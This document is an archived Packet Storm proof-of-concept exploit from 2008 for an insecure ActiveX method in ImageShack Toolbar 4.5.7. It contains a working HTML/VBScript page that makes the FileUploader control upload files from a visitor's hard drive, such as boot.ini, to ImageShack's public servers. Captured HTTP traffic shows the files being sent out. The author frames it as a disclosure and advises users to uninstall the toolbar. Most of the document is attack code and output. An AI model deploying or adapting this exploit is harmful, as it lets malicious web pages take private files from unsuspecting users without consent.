imageshack-poc.txt

2008-01-25T00:00:00
ID PACKETSTORM:62974
Type packetstorm
Reporter rgod
Modified 2008-01-25T00:00:00

Description

                                        
                                            `<!--  
ImageShack Toolbar 4.5.7 FileUploader Class (ImageShackToolbar.dll) insecure  
method poc  
  
This tool may allow a malicious web page to post arbitrary images on the web  
from a user hard drive. Images will be visible on ImageShack site, a way for an  
attacker to retrieve them maybe tag search or by understanding the renaming  
operation, ex. "_" chars are removed and the "tq2" string is appended.  
My test image is still visible here:  
http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg  
Note that a file with a non-image extension can cross the network, Imageshack  
server replies with an error message, however this needs further investigation  
that I let you to do, ex. with custom packet fields injection.  
  
I suggest users to uninstall it temporarily an just use the site functionalities  
  
Object safety report:  
  
RegKey Safe for Script: True  
RegKey Safe for Init: True  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller  
  
rgod-tsid-pa-he-ru-ka  
-  
stay tuned with us ...  
http://retrogod.altervista.org/join.html  
security feeds, radio streams, techno/drum & bass stations to come  
-->  
  
<html>  
<body>  
<object classid='clsid:BDF9442E-9B03-42C2-87BA-2A459B0A5317' id='suntzu' /></object>  
<script language='vbscript'>  
suntzu.BuildSlideShow "file:///c:\\xp_wallpaper_glass.jpg","Big",1,"uhuhinterestingprivatethings","Fade","White"  
suntzu.BuildSlideShow "file:///c:\\boot.ini", "Big",1,"uhuhinterestingprivatethings","Fade","White"  
</script>  
</body>  
</html>  
  
----  
  
some wireshark's dump samples:  
  
POST /upload_api.php HTTP/1.1  
Content-Type: multipart/form-data, boundary=B-O-U-N-D-A-R-Y731553141  
Content-Length: 21755  
User-Agent: ImageShack Toolbar 4.5.7 ([..])  
Host: load9.imageshack.us  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: imgshck=[..]; un_cookie=1; latest=img404; flashInstalled=9.0; __qca=[..]; rem_bar=1; nopopunder=1  
  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="toolbar"  
  
IEImageShackToolbar-4.5.7.69  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="public"  
  
yes  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="xml"  
  
newformat  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="tags"  
  
uhuhinterestingprivatethings  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="rembar"  
  
1  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="fileupload"; filename="xp_wallpaper_glass.jpg"  
Content-Type: image/jpeg  
Content-Transfer-Encoding: binary  
  
[file content]  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="thumbupload"; filename="xp_wallpaper_glass6fa1f1.jpg"  
Content-Type: image/jpeg  
Content-Transfer-Encoding: binary  
  
[file content]  
--B-O-U-N-D-A-R-Y731553141  
Content-Disposition: form-data; name="class"  
  
s  
--B-O-U-N-D-A-R-Y731553141--  
  
  
reply:  
  
HTTP/1.1 200 OK  
Connection: close  
Transfer-Encoding: chunked  
X-Powered-By: PHP/5.1.2  
Set-Cookie: latest=img262; expires=Sun, 18-Jan-2009 07:56:24 GMT; path=/; domain=.imageshack.us  
Set-Cookie: PHPSESSID=[..]; path=/  
Set-Cookie: always_opt=-1; path=/; domain=.imageshack.us  
Set-Cookie: rem_bar=1; expires=Sun, 18-Jan-2009 07:56:24 GMT; path=/; domain=.imageshack.us  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Content-type: text/xml  
Pragma: public  
Cache-Control: must-revalidate, post-check=0, pre-check=0  
Date: Thu, 24 Jan 2008 07:56:25 GMT  
Server: lighttpd/1.4.8  
  
<?xml version="1.0" encoding="iso-8859-1"?><imginfo xmlns="http//ns.imageshack.us/imginfo/6/" version="6" timestamp="1201161385">  
<rating>  
<ratings>0</ratings>  
<avg>0.0</avg>  
</rating>  
<files server="262" bucket="7959">  
<image size="16646" content-type="image/jpeg">xpwallpaperglasstq2.jpg</image>  
<thumb size="3155" content-type="image/jpeg">xpwallpaperglasstq2.th.jpg</thumb>  
</files>  
<resolution>  
<width>426</width>  
<height>320</height>  
</resolution>  
<class>s</class>  
<uploader>  
<ip>87.11.97.155</ip>  
</uploader>  
<links>  
<image_link>http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg</image_link>  
<image_html><a href="http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg" target="_blank"><img src="http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg" alt="Free Image Hosting at www.ImageShack.us" border="0"/></a></image_html>  
<image_bb>[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg[/IMG][/URL]</image_bb>  
<image_bb2>[url=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.jpg][/url]</image_bb2>  
<thumb_link>http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg</thumb_link>  
<thumb_html><a href="http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg" target="_blank"><img src="http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg" alt="Free Image Hosting at www.ImageShack.us" border="0"/></a></thumb_html>  
<thumb_bb>[URL=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][IMG]http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg[/IMG][/URL]</thumb_bb>  
<thumb_bb2>[url=http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg][img=http://img262.imageshack.us/img262/7959/xpwallpaperglasstq2.th.jpg][/url]</thumb_bb2>  
<ad_link>http://img262.imageshack.us/my.php?image=xpwallpaperglasstq2.jpg</ad_link>  
<done_page>http://img262.imageshack.us/content.php?page=done&l=img262/7959/xpwallpaperglasstq2.jpg</done_page>  
</links>  
</imginfo>  
  
with the boot.ini file:  
  
POST /upload_api.php HTTP/1.1  
Content-Type: multipart/form-data, boundary=B-O-U-N-D-A-R-Y732118720442  
Content-Length: 1077  
User-Agent: ImageShack Toolbar 4.5.7 (WinNT 5.1 Service Pack 2)  
Host: load10.imageshack.us  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: imgshck=[..]; un_cookie=1; latest=img214; flashInstalled=9.0; __qca=[..]; rem_bar=1; nopopunder=1; always_opt=-1  
  
--B-O-U-N-D-A-R-Y732118720442  
Content-Disposition: form-data; name="toolbar"  
  
IEImageShackToolbar-4.5.7.69  
--B-O-U-N-D-A-R-Y732118720442  
Content-Disposition: form-data; name="public"  
  
yes  
--B-O-U-N-D-A-R-Y732118720442  
Content-Disposition: form-data; name="xml"  
  
newformat  
--B-O-U-N-D-A-R-Y732118720442  
Content-Disposition: form-data; name="tags"  
  
uhuhinterestingprivatethings  
--B-O-U-N-D-A-R-Y732118720442  
Content-Disposition: form-data; name="rembar"  
  
1  
--B-O-U-N-D-A-R-Y732118720442  
Content-Disposition: form-data; name="fileupload"; filename="boot.ini"  
Content-Type: application/octet-stream  
Content-Transfer-Encoding: binary  
  
[boot loader]  
timeout=30  
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS  
[operating systems]  
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home Edition" / fastdetect /NoExecute=OptIn  
--B-O-U-N-D-A-R-Y732118720442  
Content-Disposition: form-data; name="class"  
  
s  
--B-O-U-N-D-A-R-Y732118720442--  
  
reply:  
  
HTTP/1.1 200 OK  
Transfer-Encoding: chunked  
X-Powered-By: PHP/5.1.2  
Content-Type: text/xml  
Set-Cookie: latest=img89; expires=Sun, 18-Jan-2009 07:56:28 GMT; path=/; domain=.imageshack.us  
Date: Thu, 24 Jan 2008 07:56:28 GMT  
Server: lighttpd/1.4.18  
  
<links>  
<error id="wrong_file_type">Wrong file type detected for file boot.ini:application/octet-stream</error>  
</links>  
  
  
`